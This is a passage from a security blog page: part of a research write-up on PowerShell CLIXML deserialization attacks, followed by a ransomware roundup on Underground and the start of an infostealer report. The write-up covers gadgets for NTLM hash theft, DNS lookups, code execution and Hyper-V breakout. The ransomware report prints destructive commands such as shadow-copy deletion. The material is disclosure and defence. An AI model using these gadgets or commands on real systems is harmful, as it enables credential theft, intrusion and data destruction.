The ReadOneObject function determines how to handle the data, specifically how to deserialize it. The returned object will either be rehydrated or restored as a property bag.

Let’s explain these two terms with an example. First we create a System.Exception object, we check what type it is using the Get-Member cmdlet. We see that the type is System.Exception.

$object = new-object System.Exception
$object | Get-Member

Then we serialize System.Exception into CLIXML. We then deserialize the object and print the type information again. We see that after deserialization, it is no longer the same type.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((new-object System.Exception))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

The $deserialized object is of the type Deserialized.System.Exception. This is not the same as System.Exception. Classes with the Deserialized prefix are sometimes called property bags and you can think of them as a dictionary type. The property bag contains the public properties of the original object. Methods of the original class are not available through a property bag.

With rehydration on the other hand, you will get a “live object” of the original class. Let’s take a look at an example of this. You’ll notice in the example below, the $deserialized object is of the type Microsoft.Management.Infrastructure.CimInstance#ROOT/cimv2/Win32_BIOS, just like the original object. Because of this, we also have access to the original methods.

$serialized = [System.Management.Automation.PSSerializer]::Serialize((Get-CIMinstance Win32_BIOS))
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | Get-Member

USER-DEFINED TYPES

User-defined types are types that PowerShell module developers can define. However, PowerShell ships with a bunch of modules, so arguably we also have default user-defined types. User-defined types are specified in files name *.types.ps1xml and you can find the default ones under $PSHOME\types.ps1xml.

An example of the default types, is Deserialized.System.Net.IPAddress. Below we see the type definition in types.ps1xml.

<Type>
  <Name>Deserialized.System.Net.IPAddress</Name>
  <Members>
    <MemberSet>
      <Name>PSStandardMembers</Name>
      <Members>
        <NoteProperty>
          <Name>TargetTypeForDeserialization</Name>
          <Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>
        </NoteProperty>
      </Members>
    </MemberSet>
  </Members>
</Type>

This type schema applies to the property bag Deserialized.System.Net.IPAddress and we see that they define a TargetTypeForDeserialization. The Microsoft.PowerShell.DeserializingTypeConverter is a class that inherits from System.Management.Automation.PSTypeConverter. In short, this definition says that the property bag should be rehydrated to the original System.Net.IPAddress object during deserialization.

On my system, I found that types.ps1xml contains 27 types that will be rehydrated. Note that this varies depending on what features and software you have installed on the computer. For example, a domain controller will by default have the Active Directory module installed.

SUMMARY OF WHAT WE LEARNED

In the PSSerializer deserialization, objects are either converted into a property bag or rehydrated to the original object. The object will be rehydrated if it is a:

  • Known primitive type (e.g. integers, strings)
  • CimInstance type
  • Type supported by the default DeserializingTypeConverter
  • User-defined type (that defines a DeserializingTypeConverter)

PART 3 – ATTACKING CLIXML DESERIALIZATION

In this section we will start looking into what could go wrong during the CLIXML deserialization. We will start with some less useful gadgets that are great for understanding how things work. Later, we will dive into the more useful gadgets.

SCRIPTBLOCK REHYDRATION

ScriptBlock (using the tag <SBK>) is a known primitive type. This type is special because even if it is technically a known primitive type (that should be rehydrated) it is not rehydrated to ScriptBlock but instead to String. There have been multiple issues created around this in the PowerShell GitHub repo and the PowerShell developers have stated that this is by design, due to security reasons.

https://github.com/PowerShell/PowerShell/issues/4218#issuecomment-314851921
https://github.com/PowerShell/PowerShell/issues/11698#issuecomment-801476936

Ok, fine – no rehydrated ScriptBlocks.

Remember that there are some default types that are rehydrated? There are three types that we found useful, namely:

  • LineBreakpoint
  • CommandBreakpoint
  • VariableBreakpoint

We find that if a ScriptBlock is contained within a Breakpoint, then it will actually rehydrate. Here’s the source code for the CommandBreakpoint rehydration, notice the call to RehydrateScriptBlock:

https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/serialization.cs#L7041

We can confirm this by running the following:

$object = Set-PSBreakpoint -Command nan -Action {calc} 
$serialized = [System.Management.Automation.PSSerializer]::Serialize($object)
$deserialized = [System.Management.Automation.PSSerializer]::Deserialize($serialized)
$deserialized | gm
$deserialized.Action.Invoke()

Do you remember Microsoft’s answers in the Github issues I showed above, they said “we do not want to deserialize ScriptBlocks because there would be too many places with automatic code execution”. What did they mean with that?

I believe they refer to delay-bind arguments. There are lots of them in PowerShell.

# These two are obvious, and will of course pop calc, because you are explicitly invoking the action
& $deserialized.Action
Invoke-Command $deserialized.Action 

$example = “This can be any value” 

# But if you run this, you will also pop mspaint 
$example | ForEach-Object $deserialized.Action 

# and this will pop mspaint
$example | Select-Object $deserialized.Action

# And this
Get-Item .\out | Copy-Item -Destination $deserialized.Action

# And all of these
$example | Rename-Item -NewName $deserialized.Action
$example | Get-Date -Date $deserialized.Action 
$example | Group-Object $deserialized.Action
$example | Sort-Object $deserialized.Action 
$example | Write-Error -Message $deserialized.Action 
$example | Test-Path -Credential $deserialized.Action
$example | Test-Path -Path $deserialized.Action 
$example | Test-Connection -ComputerName $deserialized.Action 

# And way more 

Even if this gadget isn’t very practical, as the victim must use the property name “action” to make it trigger, I believe it still shows that you cannot trust deserialized data.

ARBITRARY DNS LOOKUP

As we talked about previously, CimInstances will rehydrate by default. There are a few interesting CimInstance types that ship with a vanilla PowerShell installation.

The first one is Win32_PingStatus. The code we see below is from the Types.ps1xml file:

 <Type>
    <Name>System.Management.ManagementObject#root\cimv2\Win32_PingStatus</Name>
    <Members>
      <ScriptProperty>
        <Name>IPV4Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
      <ScriptProperty>
        <Name>IPV6Address</Name>
        <GetScriptBlock>
          $iphost = [System.Net.Dns]::GetHostEntry($this.address)
          $iphost.AddressList | ?{ $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetworkV6 } | select -first 1
        </GetScriptBlock>
      </ScriptProperty>
    </Members>
 </Type>

We see that IPV4Address is defined as a ScriptProperty that contains a call to GetHostEntry, which is a function that will trigger a DNS request. The argument to the function is the property Address.

In an insecure deserialization scenario, we can control this value and thus trigger arbitrary DNS requests from the victim’s machine. To try this out we need to first get a template for the payload, we do so by serializing a Win32_PingStatus object.

Get-CimInstance -ClassName Win32_PingStatus -Filter "Address='127.0.0.1' and timeout=1" | export-clixml .\payload.xml

We then open up payload.xml and change the Address property to a domain of our choosing.

CLIXML payload file, with manipulated Address property

We fire up Wireshark to observe the network traffic and then we deserialize the payload with Import-CliXml.

import-clixml .\payload.xml
Network traffic showing that the domain name lookup was triggered

Cool! We can trigger arbitrary DNS requests from an untrusted data deserialization. This gadget would be the “PowerShell version” of the Java URLDNS gadget.

What’s the security impact of a DNS request? Not much by itself. However, it is very useful when looking for security vulnerabilities with limited visibility of the target application. An adversary can set up a DNS request listener (such as Burp Collaborator) and then use this gadget as their payload. This way they can confirm that their payload got deserialized by the target application.

AVAILABILITY AND FORMATTING

Let’s take a look at another gadget that isn’t that very useful but is interesting because we will learn more about how these CLIXML gadgets work. Let’s look at MSFT_SmbShare. This type will call the cmdlet Get-Acl with the property Path as argument.

<Type>
        <Name>Microsoft.Management.Infrastructure.CimInstance#ROOT/Microsoft/Windows/SMB/MSFT_SmbShare</Name>
        <Members>
            <ScriptProperty>
                <Name>PresetPathAcl</Name>
                <GetScriptBlock>
                    $acl = Get-Acl ($this.PSBase.CimInstanceProperties['Path'].Value)
                    $acl.SetSecurityDescriptorSddlForm( $this.PSBase.CimInstanceProperties['SecurityDescriptor'].Value, [System.Security.AccessControl.AccessControlSections]::Access )

// Shortened for brevity

We can of course control the value of this property and set it to any value. If a UNC path is provided, Get-Acl will attempt to authenticate, and thus send the victim’s Net-NTLMv2 hash to the remote host we specify.

We generate a payload and set the Path property, similarly to how we did it with Win32_PingStatus. However, we notice that it does not trigger.

Why? Well, this module (SmbShare) is included by default in PowerShell, but it is not loaded automatically on startup. In PowerShell, modules are either loaded explicitly with Import-Module <modulename> or implictly once the module is “touched”. Implicit load triggers when a cmdlet of the module is used (for example Get-SmbShare in this case), or when you use Get-Help or Get-Command.

In other words, we need to run:

Get-SmbShare
Import-CliXml .\payload.xml 

But it still doesn’t work!

The second issue is that the property we try to abuse is PresetPathAcl, but this is not included in the “default view”. In PowerShell, Format.ps1xml files can be used to define how objects should be displayed (see about_Format.ps1xml – PowerShell | Microsoft Learn). The format files are used to declare which properties should be printed in list view, table view, and so on.

In other words, our gadget will only trigger when the PresetPathAcl is explicitly accessed, or implicitly when all properties are accessed. Below we see a few examples of when it will trigger.

$deserialized | Export-CliXml .\save.xml
$deserialized | Export-Csv .\save.csv
$deserialized | Select-Object *
$deserialized | Format-Table *
$deserialized | ConvertTo-Csv
$deserialized | ConvertTo-Json
$deserialized | ConvertTo-Html

So, finally, we spin up an MSF listener to capture the hash. We load the module, deserialize the data, and finally select all properties with export-csv.

Get-SmbShare
$deserialized = Import-CliXml .\payload.xml 
$deserialized | export-csv .\test.csv
SMB server showing a captured hash

ABITRARY PROVIDER QUERY / HASH STEALER

Now let’s look at the Microsoft.Win32.RegistryKey type. It defines an interesting ViewDefinition in its format.xml file. We see when printed as a list (the default output format), it will perform a Get-ItemProperty call with the member PSPath as its LiteralPath argument.

Like we already learned, we can control the value of properties. Thus, we can set PSPath to any value we desire. To create the a payload template, we serialize the result of a Get-Item <regpath> call, then we change the property to point to our malicious SMB server.

Now, this is more fun, because the type is available by default and the property is accessed by default. All that’s the victim need to do to trigger the gadget is:

import-clixml payload.xml

… and ta-da!

SMB server showing a captured hash

REMOTE CODE EXECUTION

So far, we looked at how to exploit deserialization when you only have the default modules available. However, PowerShell has a large ecosystem of modules. Most of these third-party modules are hosted on PowerShell Gallery.

PSFramework is a PowerShell module with close to 5 million downloads on PowerShell Gallery. On top of this, there are many modules that are dependent on this module. A few notable examples are the Microsoft official modules Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, and Microsoft/PAWTools.

PSFramework module implements user-defined types with a custom converter. If we look at the PSFramework.Message.LogEntry type as an example, we see that it reminds us of the default type IPAddress that we looked at before. The key difference is that it specifies PSFramework.Serialization.SerializationTypeConverter as its type converter.

<Type>
    <Name>Deserialized.PSFramework.Message.LogEntry</Name>
    <Members>
      <MemberSet>
        <Name>PSStandardMembers</Name>
        <Members>
          <NoteProperty>
            <Name>
              TargetTypeForDeserialization
            </Name>
            <Value>
              PSFramework.Message.LogEntry
            </Value>
          </NoteProperty>
        </Members>
      </MemberSet>
    </Members>
</Type>
<Type>
    <Name>PSFramework.Message.LogEntry</Name>
    <Members>
      <CodeProperty IsHidden="true">
        <Name>SerializationData</Name>
        <GetCodeReference>
          <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
          <MethodName>GetSerializationData</MethodName>
        </GetCodeReference>
      </CodeProperty>
    </Members>
    <TypeConverter>
      <TypeName>PSFramework.Serialization.SerializationTypeConverter</TypeName>
    </TypeConverter>
</Type>

Looking at SerializationTypeConverter.cs, we see that the type converter is essentially a wrapper on BinaryFormatter. This is one of the formatters analyzed by Munoz et al and it is known to be vulnerable to arbitrary code execution.

https://github.com/PowershellFrameworkCollective/psframework/

The vulnerability is in fact very similar to the vulnerable Exchange converter that was abused in ProxyNotShell. As you may remember, user-defined types are rehydrated using LanguagePrimitives.ConvertTo. The combination of this and a BinaryFormatter is all we need. From Munoz et. al, we also learned that you can achieve code execution if you can control the object and the type passed to LanguagePrimitives.ConvertTo. This is done by passing the XamlReader type and implicitly calling the static method Parse(string). The complete details of this can be found in Bazydło’s NotProxyShell article.

In other words, we can achieve remote code execution if the victim has PSFramework available, or any of the hundreds of modules that are dependent on it.

We can trigger the exploit by running the below:

Write-PSFMessage "Hello World!"
Import-CliXml .\payload.xml 

This is by the way the gadget we used to breakout from Hyper-V and get code execution on the hypervisor host in the video above. But more on that later.

SUMMARY OF WHAT WE LEARNED

I believe it is fair to say that CLIXML deserialization of untrusted data is dangerous. The impact will vary depending on a variety of factors, including what modules you have available and how you use the resulting object. Note that, so far, we only talked about this issue in a local context. We will soon see that a threat actor can perform these attacks remotely. Here is a summary what could happen when you deserialize untrusted data in PowerShell:

On a fully patched, vanilla PowerShell we can achieve:

  • Arbitrary DNS lookup
  • Arbitrary Code Execution (if the property “action” is used)
  • Steal Net-NTLMv2 hashes

Unpatched system (we haven’t really detailed these two because they are old and not that relevant anymore):

  • XXE (< .NET 4.5.2)
  • Arbitrary Code Execution (CVE-2017-8565)

On a system with non-default modules installed:

  • Arbitrary Code Execution (affects hundreds of modules, including three official Microsoft modules)
  • Multiple other impacts

PART 4 – CLIXML DESERIALIZATION ATTACK VECTORS

You might think “I do not use Import-Clixml so this is not a problem for me”. This section will show why this is not entirely true. The reason you need to care is that some very popular protocols rely on it, and you might use CLIXML deserialization without knowing it!

ATTACKING POWERSHELL REMOTING

PowerShell Remoting Protocol (PSRP) is a protocol for managing Windows computers in an enterprise environment. PSRP is an addon on top of the SOAP web service protocol WS-Management (WSMAN). Microsoft’s implementation of WSMAN is called WinRM. PSRP adds a bunch of things on top of WinRM including message fragmentation, compression, and how to share PowerShell objects between the PSRP client and server. You guessed it – PowerShell objects are shared using CLIXML.

In this attack scenario, the server is not the victim. Instead we will show how an compromised server could launch a CLIXML deserialization attack against a PSRP client. This is a very interesting scenario because PowerShell Remoting is often used by administrators to connect to potentially compromised systems and systems in a lower security tier.

The Invoke-Command cmdlet is an example of cmdlets that is implemented with PSRP:

$me = Invoke-Command -ComputerName dc01.dev.local -ScriptBlock { whoami }

The command “whoami” will be executed on the remote server and $me will be populated with the result of the remote command within the client session. This is a powerful feature that works because CLIXML serialization is used by both the PSRP server and client to pass objects back and forth.

The problem however, is that the PSRP client will deserialize any CLIXML returned from the PSRP server. So if the threat actor has compromised the server, they could return malicious data (e.g. one of the gadget chains I presented above) and thus compromise the connecting client.

Encryption, certificates, kerberos, two-way-authentication and whatever other security mechanisms that PSRP uses are all great. However, they will do nothing to prevent this attack, where the premise is that the server is already compromised.

We implement this attack by compiling a custom PowerShell, based on the open source version. The only thing we need to is to change the SerializeToBytes function and make it return serialized data of our choosing. You also need some logic to not break the protocol, but we will not detail that here.

As a proof-of-concept we return a string (using the <S> tags).

Custom stream writer added to fragmentor.cs

Now, to make PowerShell Remoting server use our custom PowerShell, we need to build pwrshplugin.dll and update the microsoft.powershell plugin for WSMan, and make it to point to our custom PowerShell version.

Microsoft.PowerShell plugin pointing to our custom PowerShell

Finally, we try it out by running an example command over PSRP against the compromised server. We see that not only is our string returned, but the client has deserialized our arbitrary data (the <S> tags are gone).

Exploit was triggered on client when using PowerShell Remoting against the compromised server

As we described previously, the impact of this (a deserialization of untrusted data) will vary depending on what gadget the victim have available in their local PowerShell session and how they use the result object.

In the video below, we show an example of how a compromised server (in this case WEB19.dev.local) could be configured to deliver the hash stealer gadget. When an unsuspecting domain admin runs invoke-command against the compromised server, the threat actor steals their Net-NTLMv2 hash.PowerShell Remoting CLIXML deserialization attack

This is of course just one of the examples. If you have other gadgets available, you might end up with a remote code execution. In the recommendations section we will discuss what you need to do to mimize the impact.

BREAKING OUT OF HYPER-V (VIA POWERSHELL DIRECT)

PowerShell Direct is a feature to run PowerShell commands in a virtual machine from the underlying Hyper-V host, regardless of network configuration or remote management settings. Both the guest and the host must run at least Windows 10 or Windows Server 2016.

PowerShell Direct is the PSRP protocol, but with VMBUS for transfer (as opposed to TCP/IP). This means that the same attack scenario applies to Hyper-V. This is particularly interesting since the server (the VM) can attack the client (the Hyper-V host), potentially leading to a VM-breakout scenario when PowerShell Direct is used. Note that for example a backup solution could be configured to use PowerShell Direct, thus generating reocurring opportunity for threat actors to abuse PowerShell Direct calls.

PowerShell Direct can be hijacked with a search order hijack. If we put our malicious “powershell.exe” under C:\Windows, it will take precedence over the legitimate PowerShell. In other words, we will build a custom PowerShell just as we did in the PSRP scenario and use it to hijack the PowerShell Direct channel.

This technique is what you saw in the demo video in the beginning of this article. The remote code execution we showed abuses the PSFramework gadget. Prior to recording the video, we installed a Microsoft official PowerShell module (which relies on PSFramework). Other than this, everything is in the default configuration. Note that all other gadgets we have presented would have worked too.

The C2 connection seen in the video was established using a custom-built reverse PowerShell Direct channel. We have decided to not share the C2 code or the gadget chain publicly.

PART 5 – DISCLOSURE TIMELINE

TimeWhoDescription
2024-03-18 23:57Alex to MSRCReported findings with working PoCs to Microsoft (MSRC)
2024-03-21 17:33MSRCCase opened
2024-04-15 19:03MSRC to Alex“We confirmed the behavior you reported”
2024-05-06 17:53Alex to MSRCAsked for status update
2024-05-07 21:09MSRCClosed the case
2024-05-26 23:33Alex to MSRCAsked for resolution details
2024-05-30AlexStarted escalating via contacts at MS and MVP friends
2024-06-04Microsoft to AlexAsked for a copy of my SEC-T presentation
2024-06-04Alex to MicrosoftSent my SEC-T presentation
2024-06-26 15:55MSRCOpened the case
2024-07-22 23:02 MSRC to Alex“Thank you[…] The issue has been fixed.”
2024-07-22 23:04MSRCClosed the case
2024-07-22Alex to MSRCOffered to help validate the fix and for resolution details.
2024-08-14Alex to MicrosoftSent reminder asking if they want to give feedback on the presentation
2024-08-19 Alex to PSFrameworkStarted reachout to PSFramework.
2024-08-28PSFrameworkFirst contact.
2024-08-29MSRCPublic acknowledgment.
2024-09-13AlexPresented at SEC-T.
2024-09-14AlexPublished blog post.
Response from MSRC saying they have fixed the issue.

To me, it is still unclear what MSRC means with “The issue has been fixed” as they have not shared any resolution details. While it is obvious that PSRP and PSDirect still deserializes untrusted data, it appears that they also did not fix the remote code execution (due to PSFramework dependency) in Microsoft’s own PowerShell modules, although they are covered under MSRC according to their security.md files (Azure/AzOps, Azure/AzOps-Accelerator, Azure/AVDSessionHostReplacer, PAWTools).

On 2024-08-19 I decided to contact the Microsoft employee behind PSFramework myself. He instantly understood the issue and did a great job quickly resolving it (big kudos as he did it during his vacation!). Make sure to update to v1.12.345 in case you have PSFramework installed.

This research was publicly released 2024-09-14, which is 180 days after the initial private disclosure.

PART 6 – MITIGATIONS AND RECOMMENDATIONS

SECURE POWERSHELL DEVELOPMENT

When developing PowerShell Modules, it is important to keep deserialization attacks in mind – even if your module is not deserializing untrusted data. In fact, this could be an issue even if your module doesn’t perform any deserialzation at all.

It is particularily important if your module defines user-define types, converters, and formats. When you introduce new user-defined types to your end-users systems, it will extend the attack surface on their system. If you’re unlucky, your module could introduce a new gadget chain that can be abused when the end-user uses PowerShell Remoting, PowerShell Direct, or when they use any script or module that performs deserialization of untrusted data.

1. SECURING YOUR USER-DEFINED TYPES

  • Be careful with types.ps1xml declarations. Keep in mind that the threat actor can control most of the object properties during deserialization.
  • Be careful with format.ps1xml declarations. Keep in mind that the object could be maliciously crafted, thus, the threat actor could control most of the object properties.
  • Be careful when you implement type converters. There are plenty of good reading online on how to write secure deserialization. Here is a good starting point: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp

2. AVOID THE PROPERTY NAME ‘ACTION’
The property name action is dangerous and should be avoided. Using a property of the name action could lead to critical vulnerabilities in the most unexpected ways. For example, the following code is vulnerable to arbitrary code execution:

$obj = Import-Clixml .\untrusted.xml
$example = @("Hello","World!") # this can be any value
$example | Select-Object $deserialized.Action

RECOMMENDATIONS FOR IT OPS

PSRP is still a recommended method for managing your environment. You should not go back to RDP (Remote Desktop Protocol) or similar for lots of reasons. However, before using PSRP or PSDirect, there are a few things you need to keep in mind.

First off, you should ensure that the computer you are remoting from is fully patched. This will solve some of the problems, but not all.

Secondly, you should never use remoting from a computer that is littered with third-party PowerShell modules. In other words, you probably shouldn’t remote from your all-in-one admin PC. Use a privileged access workstation that is dedicated for admin tasks.

Thirdly, before you use remoting, follow thru with the following points:

1. REVIEW YOUR POWERSHELL MODULES
Check the modules loaded on startup by starting a fresh PowerShell prompt and run:

get-module

Note however that modules will be implicitly loaded as soon as you use one of their cmdlets. So you should also check the available modules on your system.

get-module -ListAvailable

2. REDUCE YOUR POWERSHELL MODULES
When you install a PowerShell module, it may introduce a new deserialization gadget on your system and your system will be exposed as soon as you use PSRP, PSDirect, or use any script that imports untrusted CLIXML.

Being restrictive with PowerShell modules is good practice in general, as third-party modules comes with other risks as well (e.g. supply chain attacks).

This is however not as easy as it may sound. Lots of software ships with their own set of PowerShell modules that will be installed on your system. You need to ensure that these don’t introduce gadgets.

3. MANUAL GADGET MITIGATION
As long as PSRP and PSDirect still relies on (untrusted) CLIXML deserialization, there will be a constant battle to find and defuse deserialization gadgets.

As an example, the “SMB stealing gadget” can be mitigated with a simple if statement. Find the following code in C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml:

<ScriptBlock>
$result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
$result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
if($result.Length -eq 5000) { $result += "..." }
$result
</ScriptBlock>

Then add validation that ensures the PSPath property is legitimate. The updated formatter could look something like this:

<ScriptBlock>
$result = ""
if($_.PSPath.startswith("Microsoft.PowerShell.Core\Registry")){
   $result = (Get-ItemProperty -LiteralPath $_.PSPath | Select * -Exclude PSPath,PSParentPath,PSChildName,PSDrive,PsProvider | Format-List | Out-String | Sort).Trim()
   $result = $result.Substring(0, [Math]::Min($result.Length, 5000) )
   if($result.Length -eq 5000) { $result += "..." }
}
$result
</ScriptBlock>
Posted in Cyber Attacks, Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Ransomware Roundup – Underground

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

FortiGuard Labs gathers data on ransomware variants of interest that have been gaining traction within our datasets and the OSINT community. The Ransomware Roundup report aims to provide readers with brief insights into the evolving ransomware landscape and the Fortinet solutions that protect against those variants.

This edition of the Ransomware Roundup covers the Underground ransomware.

Affected platforms: Microsoft Windows
Impacted parties: Microsoft Windows
Impact: Encrypts victims’ files and demands ransom for file decryption
Severity level: High

Underground Ransomware Overview

The first sample of Underground ransomware was first observed in early July 2023, on a publicly available file scanning site. This roughly coincides with the timing of the first victim posted on its data leak site on July 13, 2023.

Like most ransomware, this ransomware encrypts files on victims’ Windows machines and demands a ransom to decrypt them via dropped ransom notes.

Infection Vector

Online reports indicate that the Russia-based RomCom group, also known as Storm-0978, is deploying the Underground ransomware. This threat group is known to exploit CVE-2023-36884 (Microsoft Office and Windows HTML RCE Vulnerability), which could be the infection vector for the ransomware.

FortiGuard Labs published an Outbreak Alert on CVE-2023-36884 on July 13, 2024.

  • Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

The group may also use other common infection vectors such as email and purchasing access from an Initial Access Broker (IAB).

Attack Method

Once executed, the Underground ransomware deletes shadow copies with the following command:

  • vssadmin.exe delete shadows /all /quiet

The ransomware sets the maximum time that a RemoteDesktop/TerminalServer session can remain active on the server to 14 days (14 days after the user disconnects) using the following command:

  • reg.exe add HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services / v MaxDisconnectionTime / t REG_DWORD / d 1209600000 / f

It then stops the MS SQL Server service with the following command:

  • net.exe stop MSSQLSERVER /f /m

The ransomware then creates and drops a ransom note named “!!readme!!!.txt”:

Figure 1: The Underground ransomware ransom note

Figure 1: The Underground ransomware ransom note

While the ransomware encrypts files, it does not change or append file extensions.

Figure 2: A text file before file encryption

Figure 2: A text file before file encryption

Figure 3: A text file after file encryption

Figure 3: A text file after file encryption

It also avoids encrypting files with the following extensions:

.sys.exe.dll.bat.bin.cmd
.com.cpl.gadget.inf1.ins.inx
.isu.job.jse.lnk.msc.msi
.mst.paf.pif.ps1.reg.rgs
.scr.sct.shbshs.u3p.vb
.vbe.vbs.vbscript.ws.wsh.wsf

The ransomware creates and executes temp.cmd, which performs the following actions:

  • Deletes the original ransomware file
  • Obtains a list of Windows Event logs and deletes them

Victimology and Data Leak Site

The Underground ransomware has a data leak site that posts victim information, including data stolen from victims. Currently, the data leak site lists 16 victims, with the most recent victim posted on July 3, 2024. Below is a breakdown of the victims and their verticals:

Post DateLocation of VictimVertical
2024/07/03USAConstruction
2024/07/01FrancePharmaceuticals
2024/06/17USAProfessional Services
2024/05/27USABanking
2024/05/15USAMedicine
2024/05/01USAIndustry
2024/04/09USABusiness Services
2024/04/09USAConstruction
2024/03/25USAManufacturing
2024/03/06KoreaManufacturing
2024/02/12SpainManufacturing
2024/02/02GermanyIndustry
2023/07/31SlovakiaBusiness Services
2024/07/18TaiwanIndustry
2024/07/18SingaporeManufacturing
2024/07/14CanadaManufacturing
Figure 4: The data leak site for Underground ransomware

Figure 4: The data leak site for Underground ransomware

The data leak site also includes a drop-down box with a list of industries that the ransomware group is targeting or is allowed to target.

underground ransomware industries
Figure 5: One of the victims on the data leak site

Figure 5: One of the victims on the data leak site

The Underground ransomware group also has a Telegram channel that was created on March 21, 2024.

Figure 6: The Underground ransomware Telegram channel

Figure 6: The Underground ransomware Telegram channel

According to the Telegram channel, the ransomware group has made victims’ stolen information available on Mega, a cloud storage service provider that is being abused.

Figure 7: Telegram channel containing links to the stolen information on Mega

Figure 7: Telegram channel containing links to the stolen information on Mega

Fortinet Protections

The Underground ransomware described in this report is detected and blocked by FortiGuard Antivirus as:

  • W64/IndustrySpy.C!tr.ransom
  • W64/Filecoder_IndustrialSpy.C!tr.ransom
  • Adware/Filecoder_IndustrialSpy
  • Riskware/Ransom

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-date protections are protected.

Please read the outbreak alert for protection against the potential infection vector (CVE-2023-36884) abused by the Underground ransomware:

  • Outbreak Alert: Microsoft Office and Windows HTML RCE Vulnerability

IOCs

Underground Ransomware File IOCs

SHA2Note
9543f71d7c4e394223c9d41ccef71541e1f1eb0cc76e8fa0f632b8365069af64  Underground ransomware
9f702b94a86558df87de316611d9f1bfe99a6d8da9fa9b3d7bb125a12f9ad11f
eb8ed3b94fa978b27a02754d4f41ffc95ed95b9e62afb492015d0eb25f89956f
9d41b2f7c07110fb855c62b5e7e330a597860916599e73dd3505694fd1bbe163
cc80c74a3592374341324d607d877dcf564d326a1354f3f2a4af58030e716813
d4a847fa9c4c7130a852a2e197b205493170a8b44426d9ec481fc4b285a92666

FortiGuard Labs Guidance

Due to the ease of disruption, damage to daily operations, potential impact on an organization’s reputation, and the unwanted destruction or release of personally identifiable information (PII), etc., it is vital to keep all AV and IPS signatures up to date.

Since the majority of ransomware is delivered via phishing, organizations should consider leveraging Fortinet solutions designed to train users to understand and detect phishing threats:

The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted phishing attacks.

Our FREE Fortinet Certified Fundamentals (FCF) in Cybersecurity training. The training is designed to help end users learn about today’s threat landscape and will introduce basic cybersecurity concepts and technology.

Organizations will need to make foundational changes to the frequency, location, and security of their data backups to effectively deal with the evolving and rapidly expanding risk of ransomware. When coupled with digital supply chain compromise and a workforce telecommuting into the network, there is a real risk that attacks can come from anywhere. Cloud-based security solutions, such as SASE, to protect off-network devices; advanced endpoint security, such as EDR (endpoint detection and response) solutions that can disrupt malware mid-attack; and Zero Trust Access and network segmentation strategies that restrict access to applications and resources based on policy and context, should all be investigated to minimize risk and to reduce the impact of a successful ransomware attack.

As part of the industry’s leading fully integrated Security Fabric, delivering native synergy and automation across your security ecosystem, Fortinet also provides an extensive portfolio of technology and human-based as-a-service offerings. These services are powered by our global FortiGuard team of seasoned cybersecurity experts.

FortiRecon is a SaaS based Digital Risk Prevention Service backed by cybersecurity experts to provide unrivaled threat intelligence on the latest threat actor activity across the dark web, providing a rich understanding of threat actors’ motivations and TTPs. The service can detect evidence of attacks in progress allowing customers to rapidly respond to and shut down active threats.

Best Practices Include Not Paying a Ransom

Organizations such as CISA, NCSC, the FBI, and HHS caution ransomware victims against paying a ransom partly because the payment does not guarantee that files will be recovered. According to a US Department of Treasury’s Office of Foreign Assets Control (OFAC) advisory, ransom payments may also embolden adversaries to target additional organizations, encourage other criminal actors to distribute ransomware, and/or fund illicit activities that could potentially be illegal. For organizations and individuals affected by ransomware, the FBI has a Ransomware Complaint page where victims can submit samples of ransomware activity via their Internet Crimes Complaint Center (IC3).

How Fortinet Can Help

FortiGuard Labs’ Emergency Incident Response Service provides rapid and effective response when an incident is detected. Our Incident Readiness Subscription Service provides tools and guidance to help you better prepare for a cyber incident through readiness assessments, IR playbook development, and IR playbook testing (tabletop exercises).

Additionally, FortiRecon Digital Risk Protection (DRP) is a SaaS-based service that provides a view of what adversaries are seeing, doing, and planning to help you counter attacks at the reconnaissance phase and significantly reduce the risk, time, and cost of later-stage threat mitigation.

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Emansrepo Stealer: Multi-Vector Attack Chains

Posted on October 8, 2024 - October 8, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

In August 2024, FortiGuard Labs observed a python infostealer we call Emansrepo that is distributed via emails that include fake purchase orders and invoices. Emansrepo compresses data from the victim’s browsers and files in specific paths into a zip file and sends it to the attacker’s email. According to our research, this campaign has been ongoing since November 2023.

The attacker sent a phishing mail containing an HTML file, which was redirected to the download link for Emansrepo. This variant is packaged by PyInstaller so it can run on a computer without Python.

Figure 1: Attack flow in November 2023

Figure 1: Attack flow in November 2023

Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.

Figure 2: The download link for Emansrepo is embedded in RTGS Invoices.html.

As time goes by, the attack flow has become increasingly complex. Below are the attack flows we found in July and August 2024:

Figure 3: Attack flow in August and July 2024

Figure 3: Attack flow in August and July 2024

